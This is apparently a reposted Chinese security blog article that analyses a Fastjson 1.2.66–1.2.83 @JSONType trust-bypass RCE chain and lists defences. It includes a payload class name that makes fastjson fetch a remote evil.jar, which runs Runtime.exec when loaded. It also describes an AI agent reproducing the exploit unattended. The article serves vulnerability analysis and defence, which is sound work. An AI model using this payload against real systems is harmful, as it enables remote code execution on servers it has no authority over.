使用Memfit复现最新的Fastjson远程代码执行漏洞

admin 2026-07-22 05:32:58 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析了Fastjson1.2.66-1.2.83版本中@JSONType信任旁路漏洞的利用链,攻击者通过构造特殊类名触发远程类加载实现RCE。关键前置条件包括特定ClassLoader和JDK8环境。防御措施包括开启SafeMode、升级fastjson2或JDK9+。文章还介绍了使用Memfit和Yakit工具复现漏洞的方法。 综合评分: 91 文章分类: 漏洞分析,渗透测试,代码审计,应急响应,威胁情报


cover_image

使用Memfit复现最新的Fastjson远程代码执行漏洞

原创

YAK YAK

Yak Project

2026年7月21日 19:51 湖南

在小说阅读器读本章

去阅读

一、漏洞背景

Fastjson 是阿里巴巴集团开源的高性能 JSON 处理库,用于 Java 环境下的 JSON 序列化与反序列化。项目最初托管于 GitHub(alibaba/fastjson),后迁移至 alibaba/fastjson2,曾是 Java 生态中应用最广泛的 JSON 库之一。

  • 开发方:阿里巴巴(Alibaba)
  • 编程语言:Java
  • 开源协议:Apache 2.0
  • 主要功能:Java 对象与 JSON 数据的相互转换

Fastjson 最著名的安全问题源于其 autoType 特性:

  • autoType 允许 JSON 中通过 @type 字段指定反序列化的目标 Java 类,框架会动态加载并实例化该类。
  • 该设计初衷是实现多态对象的序列化还原,但同时也打开了任意类加载的攻击面。
  • 攻击者可构造恶意 JSON 数据,触发 JNDI 注入、TemplatesImpl 加载字节码、JdbcRowSetImpl 等 gadget,进而实现远程代码执行(RCE)。

二、漏洞版本时间线

Fastjson 1.x 围绕 autoType 进行了长期的攻防博弈,从早期默认开启 autoType 到引入黑名单、校验 hash,再到 SafeMode。本项目复现的是 1.x 末版的 @JSONType 旁路:

  • @JSONType 探测路径在 fastjson 1.2.66 引入,用于兼容带 @JSONType 注解的业务类多态还原。
  • 该探测作为 autoType 之外的”信任通道”,不检查 autoType 开关、不走黑名单 hash 门。
  • 这条旁路在 1.2.66 ~ 1.2.83 全程存在。
  • 1.2.83 是 fastjson 1.x 的最后一个 Tag,项目此后进入 Archived 状态,安全演进在 fastjson2 上继续。

打开 fastjson 的 GitHub 项目可以看到项目目前已进入 Archived 状态,最新 Tag 版本为 1.2.83:

打开MavenRepo注意到fastjson最新1.2.x版本停留在1.2.83

三、利用链分析

本次复现的漏洞走的是 @JSONType 信任旁路,与传统的 JNDI / TemplatesImpl gadget 链不同,它不依赖任何已知 gadget 类,而是直接让 fastjson 的探测逻辑把”类名”还原成 jar:http:// 远程类加载 URL。整条链可拆为以下阶段:

YAK

1.前置条件

这条链需要三个前置条件同时成立:

1.fastjson 1.2.66 ~ 1.2.83;

2.ParserConfig.defaultClassLoader 被设为一个 jar-URL-aware 的 ClassLoader——本实验用的是 Spring Boot 的 LaunchedURLClassLoader,它的 getResourceAsStream 会把 jar:http://...!/...class 当真实嵌套 jar URL 处理并发起 HTTP 请求;

3.目标环境应该是JDK 8因为JDK 9+ 的 defineClass 会拒绝 jar:http://...!/Exploit 这种非法内部类名,RCE降级成 SSRF。

靶机里的 LaunchedClassLoaderInitializer 通过反射构造 LaunchedURLClassLoader 并 setDefaultClassLoader,镜像了真实场景中”应用主动把 jar-URL-aware loader 设给 fastjson”的触发条件。

YAK

2. @JSONType 探测(信任旁路)

ParserConfig.checkAutoType 在走 autoType 主路前,先执行一段 @JSONType 探测:假设”被标注 @JSONType 的类是受信任的业务类”,对其放行。这段逻辑 不检查 autoType 开关、不走黑名单 hash 检查,是独立于 autoType 的信任通道:

java

```
String resource = typeName.replace('.', '/') + ".class";InputStream is = defaultClassLoader.getResourceAsStream(resource);// 命中 @JSONType -> TypeUtils.loadClass(typeName, defaultClassLoader, true)
***YAK***

**3.URL 还原**

Payload 里的"类名"是 `jar:http:..2130706433:18080.evil!.Exploit`。经过 `typeName.replace('.', '/')` 还原后:

text
jar:http:..2130706433:18080.evil!.Exploit  →  jar:http://2130706433:18080/evil!/Exploit.class

“`

两个关键技巧:

  • .. → //:攻击者把 URL 中的 // 用两个点替代写进”类名”,靠 fastjson 自己的 replace 把 URL 拼回来。
  • 2130706433:这是 127.0.0.1 的十进制整数形式。点状 IP 会被替换成 127/0/0/1 直接废掉,整数形式没有点,原样穿过替换并在 HTTP 层解析为回环地址。”整数形式 IP 字面量”是该漏洞的强信号特征之一。

YAK

4.SSRF + 远程类加载

getResourceAsStream 还原出 jar:``http://2130706433:18080/evil!/Exploit.class 后,LaunchedURLClassLoader 对 http://127.0.0.1:18080/evil 发起 HTTP GET,获取攻击者投放的 evil.jar。到这一步 SSRF 已成立。

YAK

5.defineClass + (RCE 落地)

探测命中后,fastjson 调 loadClass → defineClass:

  • evil.jar 中 Exploit.class 的字节码内部名被刻意写成 jar:``http://2130706433:18080/evil!/Exploit(Java 源码无法表达,用 ASM 直接指定);
  • 类带 runtime-visible @JSONType 注解,满足探测信任条件;
  • <clinit> 内为恶意代码(Runtime.exec)。

JDK 8 verifier 宽松接受该内部名 → defineClass 成功 → 类初始化触发 <clinit> → RCE。

四、使用Memfit复现漏洞

打开Memfit,选择包含漏洞通报的文件夹然后让Memfit自行复现。使用yolo托管模式。这里我们使用glm-5.2模型进行复现。

在开始运行后通过观察任务执行详情,在无人工介入的情况下Memfit完成了漏洞复现任务。

并在执行完成后生成了Risk信息。

五、使用Yakit复现

六、防御措施

#

| | | | | — | — | — | | 防御措施 | 对应代码 | 效果 | | 开 SafeMode | ParserConfig.java:1329前援 | 在所有检查前抛异常,链直接断 | | 升级fastjson2 | ParserConfig.java:1479-1502整段 | fastjson2 移除/加固此探测路径 | | 升级JDK9+ | JVM defineClass | 拒绝非法内部名,断在SSRF,不落地RCE |

END

YAK官方资源

Yak 语言官方教程: https://yaklang.com/docs/intro/ Yakit 视频教程: https://space.bilibili.com/437503777 Github下载地址: https://github.com/yaklang/yakit Yakit官网下载地址: https://yaklang.com/ Yakit安装文档: https://yaklang.com/products/download_and_install Yakit使用文档: https://yaklang.com/products/intro/ 常见问题速查: https://yaklang.com/products/FAQ


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Yak Project YAK YAK《使用Memfit复现最新的Fastjson远程代码执行漏洞》

评论:0   参与:  0